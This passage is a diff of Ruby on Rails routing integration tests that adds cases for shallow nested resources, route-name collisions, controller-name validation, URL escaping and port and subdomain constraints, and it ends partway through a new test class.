@@ -1150,7 +1459,7 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
def test_scoped_controller_with_namespace_and_action
draw do
namespace :account do
- get ':action/callback', :action => /twitter|github/, :to => "callbacks", :as => :callback
+ get ':action/callback', :action => /twitter|github/, :controller => "callbacks", :as => :callback
end
end
@@ -1207,7 +1516,7 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
def test_normalize_namespaced_matches
draw do
namespace :account do
- get 'description', :to => :description, :as => "description"
+ get 'description', :action => :description, :as => "description"
end
end
@@ -1307,7 +1616,7 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
assert_equal 'en', @request.params[:locale]
end
- def test_default_params
+ def test_default_string_params
draw do
get 'inline_pages/(:id)', :to => 'pages#show', :id => 'home'
get 'default_pages/(:id)', :to => 'pages#show', :defaults => { :id => 'home' }
@@ -1327,6 +1636,26 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
assert_equal 'home', @request.params[:id]
end
+ def test_default_integer_params
+ draw do
+ get 'inline_pages/(:page)', to: 'pages#show', page: 1
+ get 'default_pages/(:page)', to: 'pages#show', defaults: { page: 1 }
+
+ defaults page: 1 do
+ get 'scoped_pages/(:page)', to: 'pages#show'
+ end
+ end
+
+ get '/inline_pages'
+ assert_equal 1, @request.params[:page]
+
+ get '/default_pages'
+ assert_equal 1, @request.params[:page]
+
+ get '/scoped_pages'
+ assert_equal 1, @request.params[:page]
+ end
+
def test_resource_constraints
draw do
resources :products, :constraints => { :id => /\d{4}/ } do
@@ -1428,7 +1757,7 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
get "whatever/:controller(/:action(/:id))"
end
- get 'whatever/foo/bar'
+ get '/whatever/foo/bar'
assert_equal 'foo#bar', @response.body
assert_equal 'http://www.example.com/whatever/foo/bar/1',
@@ -1440,10 +1769,10 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
get "whatever/:controller(/:action(/:id))", :id => /\d+/
end
- get 'whatever/foo/bar/show'
+ get '/whatever/foo/bar/show'
assert_equal 'foo/bar#show', @response.body
- get 'whatever/foo/bar/show/1'
+ get '/whatever/foo/bar/show/1'
assert_equal 'foo/bar#show', @response.body
assert_equal 'http://www.example.com/whatever/foo/bar/show',
@@ -1663,6 +1992,82 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
assert_equal '/comments/3/preview', preview_comment_path(:id => '3')
end
+ def test_shallow_nested_resources_inside_resource
+ draw do
+ resource :membership, shallow: true do
+ resources :cards
+ end
+ end
+
+ get '/membership/cards'
+ assert_equal 'cards#index', @response.body
+ assert_equal '/membership/cards', membership_cards_path
+
+ get '/membership/cards/new'
+ assert_equal 'cards#new', @response.body
+ assert_equal '/membership/cards/new', new_membership_card_path
+
+ post '/membership/cards'
+ assert_equal 'cards#create', @response.body
+
+ get '/cards/1'
+ assert_equal 'cards#show', @response.body
+ assert_equal '/cards/1', card_path('1')
+
+ get '/cards/1/edit'
+ assert_equal 'cards#edit', @response.body
+ assert_equal '/cards/1/edit', edit_card_path('1')
+
+ put '/cards/1'
+ assert_equal 'cards#update', @response.body
+
+ patch '/cards/1'
+ assert_equal 'cards#update', @response.body
+
+ delete '/cards/1'
+ assert_equal 'cards#destroy', @response.body
+ end
+
+ def test_shallow_deeply_nested_resources
+ draw do
+ resources :blogs do
+ resources :posts do
+ resources :comments, shallow: true
+ end
+ end
+ end
+
+ get '/comments/1'
+ assert_equal 'comments#show', @response.body
+
+ assert_equal '/comments/1', comment_path('1')
+ assert_equal '/blogs/new', new_blog_path
+ assert_equal '/blogs/1/posts/new', new_blog_post_path(:blog_id => 1)
+ assert_equal '/blogs/1/posts/2/comments/new', new_blog_post_comment_path(:blog_id => 1, :post_id => 2)
+ end
+
+ def test_direct_children_of_shallow_resources
+ draw do
+ resources :blogs do
+ resources :posts, shallow: true do
+ resources :comments
+ end
+ end
+ end
+
+ post '/posts/1/comments'
+ assert_equal 'comments#create', @response.body
+ assert_equal '/posts/1/comments', post_comments_path('1')
+
+ get '/posts/2/comments/new'
+ assert_equal 'comments#new', @response.body
+ assert_equal '/posts/2/comments/new', new_post_comment_path('2')
+
+ get '/posts/1/comments'
+ assert_equal 'comments#index', @response.body
+ assert_equal '/posts/1/comments', post_comments_path('1')
+ end
+
def test_shallow_nested_resources_within_scope
draw do
scope '/hello' do
@@ -1724,6 +2129,65 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
assert_equal 'notes#destroy', @response.body
end
+ def test_shallow_option_nested_resources_within_scope
+ draw do
+ scope '/hello' do
+ resources :notes, :shallow => true do
+ resources :trackbacks
+ end
+ end
+ end
+
+ get '/hello/notes/1/trackbacks'
+ assert_equal 'trackbacks#index', @response.body
+ assert_equal '/hello/notes/1/trackbacks', note_trackbacks_path(:note_id => 1)
+
+ get '/hello/notes/1/edit'
+ assert_equal 'notes#edit', @response.body
+ assert_equal '/hello/notes/1/edit', edit_note_path(:id => '1')
+
+ get '/hello/notes/1/trackbacks/new'
+ assert_equal 'trackbacks#new', @response.body
+ assert_equal '/hello/notes/1/trackbacks/new', new_note_trackback_path(:note_id => 1)
+
+ get '/hello/trackbacks/1'
+ assert_equal 'trackbacks#show', @response.body
+ assert_equal '/hello/trackbacks/1', trackback_path(:id => '1')
+
+ get '/hello/trackbacks/1/edit'
+ assert_equal 'trackbacks#edit', @response.body
+ assert_equal '/hello/trackbacks/1/edit', edit_trackback_path(:id => '1')
+
+ put '/hello/trackbacks/1'
+ assert_equal 'trackbacks#update', @response.body
+
+ post '/hello/notes/1/trackbacks'
+ assert_equal 'trackbacks#create', @response.body
+
+ delete '/hello/trackbacks/1'
+ assert_equal 'trackbacks#destroy', @response.body
+
+ get '/hello/notes'
+ assert_equal 'notes#index', @response.body
+
+ post '/hello/notes'
+ assert_equal 'notes#create', @response.body
+
+ get '/hello/notes/new'
+ assert_equal 'notes#new', @response.body
+ assert_equal '/hello/notes/new', new_note_path
+
+ get '/hello/notes/1'
+ assert_equal 'notes#show', @response.body
+ assert_equal '/hello/notes/1', note_path(:id => 1)
+
+ put '/hello/notes/1'
+ assert_equal 'notes#update', @response.body
+
+ delete '/hello/notes/1'
+ assert_equal 'notes#destroy', @response.body
+ end
+
def test_custom_resource_routes_are_scoped
draw do
resources :customers do
@@ -1736,7 +2200,7 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
end
resources :invoices do
get "outstanding" => "invoices#outstanding", :on => :collection
- get "overdue", :to => :overdue, :on => :collection
+ get "overdue", :action => :overdue, :on => :collection
get "print" => "invoices#print", :as => :print, :on => :member
post "preview" => "invoices#preview", :as => :preview, :on => :new
end
@@ -1824,6 +2288,22 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
assert_equal '/api/1.0/users/first.last.xml', api_user_path(:version => '1.0', :id => 'first.last', :format => :xml)
end
+ def test_match_without_via
+ assert_raises(ArgumentError) do
+ draw do
+ match '/foo/bar', :to => 'files#show'
+ end
+ end
+ end
+
+ def test_match_with_empty_via
+ assert_raises(ArgumentError) do
+ draw do
+ match '/foo/bar', :to => 'files#show', :via => []
+ end
+ end
+ end
+
def test_glob_parameter_accepts_regexp
draw do
get '/:locale/*file.:format', :to => 'files#show', :file => /path\/to\/existing\/file/
@@ -1879,12 +2359,12 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
get "(/user/:username)/photos" => "photos#index"
end
- get 'user/bob/photos'
+ get '/user/bob/photos'
assert_equal 'photos#index', @response.body
assert_equal 'http://www.example.com/user/bob/photos',
url_for(:controller => "photos", :action => "index", :username => "bob")
- get 'photos'
+ get '/photos'
assert_equal 'photos#index', @response.body
assert_equal 'http://www.example.com/photos',
url_for(:controller => "photos", :action => "index", :username => nil)
@@ -2397,7 +2877,7 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
end
end
- def test_symbolized_path_parameters_is_not_stale
+ def test_path_parameters_is_not_stale
draw do
scope '/countries/:country', :constraints => lambda { |params, req| %w(all France).include?(params[:country]) } do
get '/', :to => 'countries#index'
@@ -2518,36 +2998,30 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
assert_raises(ActionController::UrlGenerationError){ list_todo_path(:list_id => '2', :id => '1') }
end
- def test_named_routes_collision_is_avoided_unless_explicitly_given_as
- draw do
- scope :as => "routes" do
- get "/c/:id", :as => :collision, :to => "collision#show"
- get "/collision", :to => "collision#show"
- get "/no_collision", :to => "collision#show", :as => nil
-
- get "/fc/:id", :as => :forced_collision, :to => "forced_collision#show"
- get "/forced_collision", :as => :forced_collision, :to => "forced_collision#show"
- end
- end
-
- assert_equal "/c/1", routes_collision_path(1)
- assert_equal "/fc/1", routes_forced_collision_path(1)
- end
-
def test_redirect_argument_error
routes = Class.new { include ActionDispatch::Routing::Redirection }.new
assert_raises(ArgumentError) { routes.redirect Object.new }
end
+ def test_named_route_check
+ before, after = nil
+
+ draw do
+ before = has_named_route?(:hello)
+ get "/hello", as: :hello, to: "hello#world"
+ after = has_named_route?(:hello)
+ end
+
+ assert !before, "expected to not have named route :hello before route definition"
+ assert after, "expected to have named route :hello after route definition"
+ end
+
def test_explicitly_avoiding_the_named_route
draw do
scope :as => "routes" do
get "/c/:id", :as => :collision, :to => "collision#show"
get "/collision", :to => "collision#show"
get "/no_collision", :to => "collision#show", :as => nil
-
- get "/fc/:id", :as => :forced_collision, :to => "forced_collision#show"
- get "/forced_collision", :as => :forced_collision, :to => "forced_collision#show"
end
end
@@ -2568,7 +3042,9 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
end
assert_raise(ArgumentError) do
- draw { controller("/feeds") { get '/feeds/:service', :to => :show } }
+ assert_deprecated do
+ draw { controller("/feeds") { get '/feeds/:service', :to => :show } }
+ end
end
assert_raise(ArgumentError) do
@@ -2598,6 +3074,24 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
end
end
+ def test_duplicate_route_name_raises_error
+ assert_raise(ArgumentError) do
+ draw do
+ get '/collision', :to => 'collision#show', :as => 'collision'
+ get '/duplicate', :to => 'duplicate#show', :as => 'collision'
+ end
+ end
+ end
+
+ def test_duplicate_route_name_via_resources_raises_error
+ assert_raise(ArgumentError) do
+ draw do
+ resources :collisions
+ get '/collision', :to => 'collision#show', :as => 'collision'
+ end
+ end
+ end
+
def test_nested_route_in_nested_resource
draw do
resources :posts, :only => [:index, :show] do
@@ -2678,23 +3172,314 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
assert_equal '0c0c0b68-d24b-11e1-a861-001ff3fffe6f', @request.params[:download]
end
+ def test_action_from_path_is_not_frozen
+ draw do
+ get 'search' => 'search'
+ end
+
+ get '/search'
+ assert !@request.params[:action].frozen?
+ end
+
+ def test_multiple_positional_args_with_the_same_name
+ draw do
+ get '/downloads/:id/:id.tar' => 'downloads#show', as: :download, format: false
+ end
+
+ expected_params = {
+ controller: 'downloads',
+ action: 'show',
+ id: '1'
+ }
+
+ get '/downloads/1/1.tar'
+ assert_equal 'downloads#show', @response.body
+ assert_equal expected_params, @request.path_parameters
+ assert_equal '/downloads/1/1.tar', download_path('1')
+ assert_equal '/downloads/1/1.tar', download_path('1', '1')
+ end
+
+ def test_absolute_controller_namespace
+ draw do
+ namespace :foo do
+ get '/', to: '/bar#index', as: 'root'
+ end
+ end
+
+ get '/foo'
+ assert_equal 'bar#index', @response.body
+ assert_equal '/foo', foo_root_path
+ end
+
+ def test_namespace_as_controller
+ draw do
+ namespace :foo do
+ get '/', to: '/bar#index', as: 'root'
+ end
+ end
+
+ get '/foo'
+ assert_equal 'bar#index', @response.body
+ assert_equal '/foo', foo_root_path
+ end
+
+ def test_trailing_slash
+ draw do
+ resources :streams
+ end
+
+ get '/streams'
+ assert @response.ok?, 'route without trailing slash should work'
+
+ get '/streams/'
+ assert @response.ok?, 'route with trailing slash should work'
+
+ get '/streams?foobar'
+ assert @response.ok?, 'route without trailing slash and with QUERY_STRING should work'
+
+ get '/streams/?foobar'
+ assert @response.ok?, 'route with trailing slash and with QUERY_STRING should work'
+ end
+
+ def test_route_with_dashes_in_path
+ draw do
+ get '/contact-us', to: 'pages#contact_us'
+ end
+
+ get '/contact-us'
+ assert_equal 'pages#contact_us', @response.body
+ assert_equal '/contact-us', contact_us_path
+ end
+
+ def test_shorthand_route_with_dashes_in_path
+ draw do
+ get '/about-us/index'
+ end
+
+ get '/about-us/index'
+ assert_equal 'about_us#index', @response.body
+ assert_equal '/about-us/index', about_us_index_path
+ end
+
+ def test_resource_routes_with_dashes_in_path
+ draw do
+ resources :photos, only: [:show] do
+ get 'user-favorites', on: :collection
+ get 'preview-photo', on: :member
+ get 'summary-text'
+ end
+ end
+
+ get '/photos/user-favorites'
+ assert_equal 'photos#user_favorites', @response.body
+ assert_equal '/photos/user-favorites', user_favorites_photos_path
+
+ get '/photos/1/preview-photo'
+ assert_equal 'photos#preview_photo', @response.body
+ assert_equal '/photos/1/preview-photo', preview_photo_photo_path('1')
+
+ get '/photos/1/summary-text'
+ assert_equal 'photos#summary_text', @response.body
+ assert_equal '/photos/1/summary-text', photo_summary_text_path('1')
+
+ get '/photos/1'
+ assert_equal 'photos#show', @response.body
+ assert_equal '/photos/1', photo_path('1')
+ end
+
+ def test_shallow_path_inside_namespace_is_not_added_twice
+ draw do
+ namespace :admin do
+ shallow do
+ resources :posts do
+ resources :comments
+ end
+ end
+ end
+ end
+
+ get '/admin/posts/1/comments'
+ assert_equal 'admin/comments#index', @response.body
+ assert_equal '/admin/posts/1/comments', admin_post_comments_path('1')
+ end
+
+ def test_mix_string_to_controller_action
+ draw do
+ get '/projects', controller: 'project_files',
+ action: 'index',
+ to: 'comments#index'
+ end
+ get '/projects'
+ assert_equal 'comments#index', @response.body
+ end
+
+ def test_mix_string_to_controller
+ draw do
+ get '/projects', controller: 'project_files',
+ to: 'comments#index'
+ end
+ get '/projects'
+ assert_equal 'comments#index', @response.body
+ end
+
+ def test_mix_string_to_action
+ draw do
+ get '/projects', action: 'index',
+ to: 'comments#index'
+ end
+ get '/projects'
+ assert_equal 'comments#index', @response.body
+ end
+
+ def test_mix_symbol_to_controller_action
+ assert_deprecated do
+ draw do
+ get '/projects', controller: 'project_files',
+ action: 'index',
+ to: :show
+ end
+ end
+ get '/projects'
+ assert_equal 'project_files#show', @response.body
+ end
+
+ def test_mix_string_to_controller_action_no_hash
+ assert_deprecated do
+ draw do
+ get '/projects', controller: 'project_files',
+ action: 'index',
+ to: 'show'
+ end
+ end
+ get '/projects'
+ assert_equal 'show#index', @response.body
+ end
+
+ def test_shallow_path_and_prefix_are_not_added_to_non_shallow_routes
+ draw do
+ scope shallow_path: 'projects', shallow_prefix: 'project' do
+ resources :projects do
+ resources :files, controller: 'project_files', shallow: true
+ end
+ end
+ end
+
+ get '/projects'
+ assert_equal 'projects#index', @response.body
+ assert_equal '/projects', projects_path
+
+ get '/projects/new'
+ assert_equal 'projects#new', @response.body
+ assert_equal '/projects/new', new_project_path
+
+ post '/projects'
+ assert_equal 'projects#create', @response.body
+
+ get '/projects/1'
+ assert_equal 'projects#show', @response.body
+ assert_equal '/projects/1', project_path('1')
+
+ get '/projects/1/edit'
+ assert_equal 'projects#edit', @response.body
+ assert_equal '/projects/1/edit', edit_project_path('1')
+
+ patch '/projects/1'
+ assert_equal 'projects#update', @response.body
+
+ delete '/projects/1'
+ assert_equal 'projects#destroy', @response.body
+
+ get '/projects/1/files'
+ assert_equal 'project_files#index', @response.body
+ assert_equal '/projects/1/files', project_files_path('1')
+
+ get '/projects/1/files/new'
+ assert_equal 'project_files#new', @response.body
+ assert_equal '/projects/1/files/new', new_project_file_path('1')
+
+ post '/projects/1/files'
+ assert_equal 'project_files#create', @response.body
+
+ get '/projects/files/2'
+ assert_equal 'project_files#show', @response.body
+ assert_equal '/projects/files/2', project_file_path('2')
+
+ get '/projects/files/2/edit'
+ assert_equal 'project_files#edit', @response.body
+ assert_equal '/projects/files/2/edit', edit_project_file_path('2')
+
+ patch '/projects/files/2'
+ assert_equal 'project_files#update', @response.body
+
+ delete '/projects/files/2'
+ assert_equal 'project_files#destroy', @response.body
+ end
+
+ def test_scope_path_is_copied_to_shallow_path
+ draw do
+ scope path: 'foo' do
+ resources :posts do
+ resources :comments, shallow: true
+ end
+ end
+ end
+
+ assert_equal '/foo/comments/1', comment_path('1')
+ end
+
+ def test_scope_as_is_copied_to_shallow_prefix
+ draw do
+ scope as: 'foo' do
+ resources :posts do
+ resources :comments, shallow: true
+ end
+ end
+ end
+
+ assert_equal '/comments/1', foo_comment_path('1')
+ end
+
+ def test_scope_shallow_prefix_is_not_overwritten_by_as
+ draw do
+ scope as: 'foo', shallow_prefix: 'bar' do
+ resources :posts do
+ resources :comments, shallow: true
+ end
+ end
+ end
+
+ assert_equal '/comments/1', bar_comment_path('1')
+ end
+
+ def test_scope_shallow_path_is_not_overwritten_by_path
+ draw do
+ scope path: 'foo', shallow_path: 'bar' do
+ resources :posts do
+ resources :comments, shallow: true
+ end
+ end
+ end
+
+ assert_equal '/bar/comments/1', comment_path('1')
+ end
+
private
def draw(&block)
self.class.stub_controllers do |routes|
- @app = routes
- @app.default_url_options = { host: 'www.example.com' }
- @app.draw(&block)
+ routes.default_url_options = { host: 'www.example.com' }
+ routes.draw(&block)
+ @app = RoutedRackApp.new routes
end
end
def url_for(options = {})
- @app.url_helpers.url_for(options)
+ @app.routes.url_helpers.url_for(options)
end
def method_missing(method, *args, &block)
if method.to_s =~ /_(path|url)$/
- @app.url_helpers.send(method, *args, &block)
+ @app.routes.url_helpers.send(method, *args, &block)
else
super
end
@@ -2721,12 +3506,14 @@ end
class TestAltApp < ActionDispatch::IntegrationTest
class AltRequest
+ attr_accessor :path_parameters, :path_info, :script_name
+ attr_reader :env
+
def initialize(env)
+ @path_parameters = {}
@env = env
- end
-
- def path_info
- "/"
+ @path_info = "/"
+ @script_name = ""
end
def request_method
@@ -2760,8 +3547,10 @@ class TestAltApp < ActionDispatch::IntegrationTest
get "/" => TestAltApp::AltApp.new
end
+ APP = build_app AltRoutes
+
def app
- AltRoutes
+ APP
end
def test_alt_request_without_header
@@ -2788,15 +3577,16 @@ class TestAppendingRoutes < ActionDispatch::IntegrationTest
def setup
super
s = self
- @app = ActionDispatch::Routing::RouteSet.new
- @app.append do
+ routes = ActionDispatch::Routing::RouteSet.new
+ routes.append do
get '/hello' => s.simple_app('fail')
get '/goodbye' => s.simple_app('goodbye')
end
- @app.draw do
+ routes.draw do
get '/hello' => s.simple_app('hello')
end
+ @app = self.class.build_app routes
end
def test_goodbye_should_be_available
@@ -2824,21 +3614,92 @@ class TestNamespaceWithControllerOption < ActionDispatch::IntegrationTest
end
end
- DefaultScopeRoutes = ActionDispatch::Routing::RouteSet.new
- DefaultScopeRoutes.draw do
- namespace :admin do
- resources :storage_files, :controller => "StorageFiles"
- end
+ def draw(&block)
+ routes = ActionDispatch::Routing::RouteSet.new
+ routes.draw(&block)
+ @app = self.class.build_app routes
end
- def app
- DefaultScopeRoutes
+ def test_missing_controller
+ ex = assert_raises(ArgumentError) {
+ draw do
+ get '/foo/bar', :action => :index
+ end
+ }
+ assert_match(/Missing :controller/, ex.message)
+ end
+
+ def test_missing_action
+ ex = assert_raises(ArgumentError) {
+ assert_deprecated do
+ draw do
+ get '/foo/bar', :to => 'foo'
+ end
+ end
+ }
+ assert_match(/Missing :action/, ex.message)
+ end
+
+ def test_missing_action_on_hash
+ ex = assert_raises(ArgumentError) {
+ draw do
+ get '/foo/bar', :to => 'foo#'
+ end
+ }
+ assert_match(/Missing :action/, ex.message)
end
- def test_controller_options
+ def test_valid_controller_options_inside_namespace
+ draw do
+ namespace :admin do
+ resources :storage_files, :controller => "storage_files"
+ end
+ end
+
get '/admin/storage_files'
assert_equal "admin/storage_files#index", @response.body
end
+
+ def test_resources_with_valid_namespaced_controller_option
+ draw do
+ resources :storage_files, :controller => 'admin/storage_files'
+ end
+
+ get '/storage_files'
+ assert_equal "admin/storage_files#index", @response.body
+ end
+
+ def test_warn_with_ruby_constant_syntax_controller_option
+ e = assert_raise(ArgumentError) do
+ draw do
+ namespace :admin do
+ resources :storage_files, :controller => "StorageFiles"
+ end
+ end
+ end
+
+ assert_match "'admin/StorageFiles' is not a supported controller name", e.message
+ end
+
+ def test_warn_with_ruby_constant_syntax_namespaced_controller_option
+ e = assert_raise(ArgumentError) do
+ draw do
+ resources :storage_files, :controller => 'Admin::StorageFiles'
+ end
+ end
+
+ assert_match "'Admin::StorageFiles' is not a supported controller name", e.message
+ end
+
+ def test_warn_with_ruby_constant_syntax_no_colons
+ e = assert_raise(ArgumentError) do
+ draw do
+ resources :storage_files, :controller => 'Admin'
+ end
+ end
+
+ assert_match "'Admin' is not a supported controller name", e.message
+ end
end
class TestDefaultScope < ActionDispatch::IntegrationTest
@@ -2856,8 +3717,10 @@ class TestDefaultScope < ActionDispatch::IntegrationTest
resources :posts
end
+ APP = build_app DefaultScopeRoutes
+
def app
- DefaultScopeRoutes
+ APP
end
include DefaultScopeRoutes.url_helpers
@@ -2875,24 +3738,28 @@ class TestHttpMethods < ActionDispatch::IntegrationTest
RFC3648 = %w(ORDERPATCH)
RFC3744 = %w(ACL)
RFC5323 = %w(SEARCH)
+ RFC4791 = %w(MKCALENDAR)
RFC5789 = %w(PATCH)
def simple_app(response)
lambda { |env| [ 200, { 'Content-Type' => 'text/plain' }, [response] ] }
end
- setup do
+ attr_reader :app
+
+ def setup
s = self
- @app = ActionDispatch::Routing::RouteSet.new
+ routes = ActionDispatch::Routing::RouteSet.new
+ @app = RoutedRackApp.new routes
- @app.draw do
- (RFC2616 + RFC2518 + RFC3253 + RFC3648 + RFC3744 + RFC5323 + RFC5789).each do |method|
+ routes.draw do
+ (RFC2616 + RFC2518 + RFC3253 + RFC3648 + RFC3744 + RFC5323 + RFC4791 + RFC5789).each do |method|
match '/' => s.simple_app(method), :via => method.underscore.to_sym
end
end
end
- (RFC2616 + RFC2518 + RFC3253 + RFC3648 + RFC3744 + RFC5323 + RFC5789).each do |method|
+ (RFC2616 + RFC2518 + RFC3253 + RFC3648 + RFC3744 + RFC5323 + RFC4791 + RFC5789).each do |method|
test "request method #{method.underscore} can be matched" do
get '/', nil, 'REQUEST_METHOD' => method
assert_equal method, @response.body
@@ -2916,10 +3783,11 @@ class TestUriPathEscaping < ActionDispatch::IntegrationTest
end
include Routes.url_helpers
- def app; Routes end
+ APP = build_app Routes
+ def app; APP end
- test 'escapes generated path segment' do
- assert_equal '/a%20b/c+d', segment_path(:segment => 'a b/c+d')
+ test 'escapes slash in generated path segment' do
+ assert_equal '/a%20b%2Fc+d', segment_path(:segment => 'a b/c+d')
end
test 'unescapes recognized path segment' do
@@ -2927,7 +3795,7 @@ class TestUriPathEscaping < ActionDispatch::IntegrationTest
assert_equal 'a b/c+d', @response.body
end
- test 'escapes generated path splat' do
+ test 'does not escape slash in generated path splat' do
assert_equal '/a%20b/c+d', splat_path(:splat => 'a b/c+d')
end
@@ -2947,7 +3815,8 @@ class TestUnicodePaths < ActionDispatch::IntegrationTest
end
include Routes.url_helpers
- def app; Routes end
+ APP = build_app Routes
+ def app; APP end
test 'recognizes unicode path' do
get "/#{Rack::Utils.escape("ã»ã’")}"
@@ -2978,7 +3847,8 @@ class TestMultipleNestedController < ActionDispatch::IntegrationTest
end
include Routes.url_helpers
- def app; Routes end
+ APP = build_app Routes
+ def app; APP end
test "controller option which starts with '/' from multiple nested controller" do
get "/foo/bar/baz"
@@ -2997,7 +3867,8 @@ class TestTildeAndMinusPaths < ActionDispatch::IntegrationTest
end
include Routes.url_helpers
- def app; Routes end
+ APP = build_app Routes
+ def app; APP end
test 'recognizes tilde path' do
get "/~user"
@@ -3018,11 +3889,14 @@ class TestRedirectInterpolation < ActionDispatch::IntegrationTest
get "/foo/:id" => redirect("/foo/bar/%{id}")
get "/bar/:id" => redirect(:path => "/foo/bar/%{id}")
+ get "/baz/:id" => redirect("/baz?id=%{id}&foo=?&bar=1#id-%{id}")
get "/foo/bar/:id" => ok
+ get "/baz" => ok
end
end
- def app; Routes end
+ APP = build_app Routes
+ def app; APP end
test "redirect escapes interpolated parameters with redirect proc" do
get "/foo/1%3E"
@@ -3034,6 +3908,14 @@ class TestRedirectInterpolation < ActionDispatch::IntegrationTest
verify_redirect "http://www.example.com/foo/bar/1%3E"
end
+ test "path redirect escapes interpolated parameters correctly" do
+ get "/foo/1%201"
+ verify_redirect "http://www.example.com/foo/bar/1%201"
+
+ get "/baz/1%201"
+ verify_redirect "http://www.example.com/baz?id=1+1&foo=?&bar=1#id-1%201"
+ end
+
private
def verify_redirect(url, status=301)
assert_equal status, @response.status
@@ -3056,7 +3938,8 @@ class TestConstraintsAccessingParameters < ActionDispatch::IntegrationTest
end
end
- def app; Routes end
+ APP = build_app Routes
+ def app; APP end
test "parameters are reset between constraint checks" do
get "/bar"
@@ -3076,7 +3959,8 @@ class TestGlobRoutingMapper < ActionDispatch::IntegrationTest
end
#include Routes.url_helpers
- def app; Routes end
+ APP = build_app Routes
+ def app; APP end
def test_glob_constraint
get "/dummy"
@@ -3099,11 +3983,17 @@ class TestOptimizedNamedRoutes < ActionDispatch::IntegrationTest
app.draw do
ok = lambda { |env| [200, { 'Content-Type' => 'text/plain' }, []] }
get '/foo' => ok, as: :foo
+ get '/post(/:action(/:id))' => ok, as: :posts
+ get '/:foo/:foo_type/bars/:id' => ok, as: :bar
+ get '/projects/:id.:format' => ok, as: :project
+ get '/pages/:id' => ok, as: :page
+ get '/wiki/*page' => ok, as: :wiki
end
end
include Routes.url_helpers
- def app; Routes end
+ APP = build_app Routes
+ def app; APP end
test 'enabled when not mounted and default_url_options is empty' do
assert Routes.url_helpers.optimize_routes_generation?
@@ -3116,6 +4006,41 @@ class TestOptimizedNamedRoutes < ActionDispatch::IntegrationTest
test 'named route called on included module' do
assert_equal '/foo', foo_path
end
+
+ test 'nested optional segments are removed' do
+ assert_equal '/post', Routes.url_helpers.posts_path
+ assert_equal '/post', posts_path
+ end
+
+ test 'segments with same prefix are replaced correctly' do
+ assert_equal '/foo/baz/bars/1', Routes.url_helpers.bar_path('foo', 'baz', '1')
+ assert_equal '/foo/baz/bars/1', bar_path('foo', 'baz', '1')
+ end
+
+ test 'segments separated with a period are replaced correctly' do
+ assert_equal '/projects/1.json', Routes.url_helpers.project_path(1, :json)
+ assert_equal '/projects/1.json', project_path(1, :json)
+ end
+
+ test 'segments with question marks are escaped' do
+ assert_equal '/pages/foo%3Fbar', Routes.url_helpers.page_path('foo?bar')
+ assert_equal '/pages/foo%3Fbar', page_path('foo?bar')
+ end
+
+ test 'segments with slashes are escaped' do
+ assert_equal '/pages/foo%2Fbar', Routes.url_helpers.page_path('foo/bar')
+ assert_equal '/pages/foo%2Fbar', page_path('foo/bar')
+ end
+
+ test 'glob segments with question marks are escaped' do
+ assert_equal '/wiki/foo%3Fbar', Routes.url_helpers.wiki_path('foo?bar')
+ assert_equal '/wiki/foo%3Fbar', wiki_path('foo?bar')
+ end
+
+ test 'glob segments with slashes are not escaped' do
+ assert_equal '/wiki/foo/bar', Routes.url_helpers.wiki_path('foo/bar')
+ assert_equal '/wiki/foo/bar', wiki_path('foo/bar')
+ end
end
class TestNamedRouteUrlHelpers < ActionDispatch::IntegrationTest
@@ -3140,7 +4065,8 @@ class TestNamedRouteUrlHelpers < ActionDispatch::IntegrationTest
end
end
- def app; Routes end
+ APP = build_app Routes
+ def app; APP end
include Routes.url_helpers
@@ -3167,11 +4093,16 @@ class TestUrlConstraints < ActionDispatch::IntegrationTest
end
get '/' => ok, :as => :alternate_root, :constraints => { :port => 8080 }
+
+ get '/search' => ok, :constraints => { :subdomain => false }
+
+ get '/logs' => ok, :constraints => { :subdomain => true }
end
end
include Routes.url_helpers
- def app; Routes end
+ APP = build_app Routes
+ def app; APP end
test "constraints are copied to defaults when using constraints method" do
assert_equal 'http://admin.example.com/', admin_root_url
@@ -3193,6 +4124,24 @@ class TestUrlConstraints < ActionDispatch::IntegrationTest
get 'http://www.example.com:8080/'
assert_response :success
end
+
+ test "false constraint expressions check for absence of values" do
+ get 'http://example.com/search'
+ assert_response :success
+ assert_equal 'http://example.com/search', search_url
+
+ get 'http://api.example.com/search'
+ assert_response :not_found
+ end
+
+ test "true constraint expressions check for presence of values" do
+ get 'http://api.example.com/logs'
+ assert_response :success
+ assert_equal 'http://api.example.com/logs', logs_url
+
+ get 'http://example.com/logs'
+ assert_response :not_found
+ end
end
class TestInvalidUrls < ActionDispatch::IntegrationTest
@@ -3207,7 +4156,7 @@ class TestInvalidUrls < ActionDispatch::IntegrationTest
set.draw do
get "/bar/:id", :to => redirect("/foo/show/%{id}")
get "/foo/show(/:id)", :to => "test_invalid_urls/foo#show"
- get "/foo(/:action(/:id))", :to => "test_invalid_urls/foo"
+ get "/foo(/:action(/:id))", :controller => "test_invalid_urls/foo"
get "/:controller(/:action(/:id))"
end
@@ -3234,8 +4183,9 @@ class TestOptionalRootSegments < ActionDispatch::IntegrationTest
end
end
+ APP = build_app Routes
def app
- Routes
+ APP
end
include Routes.url_helpers
@@ -3252,3 +4202,234 @@ class TestOptionalRootSegments < ActionDispatch::IntegrationTest
assert_equal '/page/1', root_path(:page => '1')
end
end
+
+class TestPortConstraints < ActionDispatch::IntegrationTest
+ Routes = ActionDispatch::Routing::RouteSet.new.tap do |app|
+ app.draw do
+ ok = lambda { |env| [200, { 'Content-Type' => 'text/plain' }, []] }
+
+ get '/integer', to: ok, constraints: { :port => 8080 }
+ get '/string', to: ok, constraints: { :port => '8080' }
+ get '/array', to: ok, constraints: { :port => [8080] }
+ get '/regexp', to: ok, constraints: { :port => /8080/ }
+ end
+ end
+
+ include Routes.url_helpers
+ APP = build_app Routes
+ def app; APP end
+
+ def test_integer_port_constraints
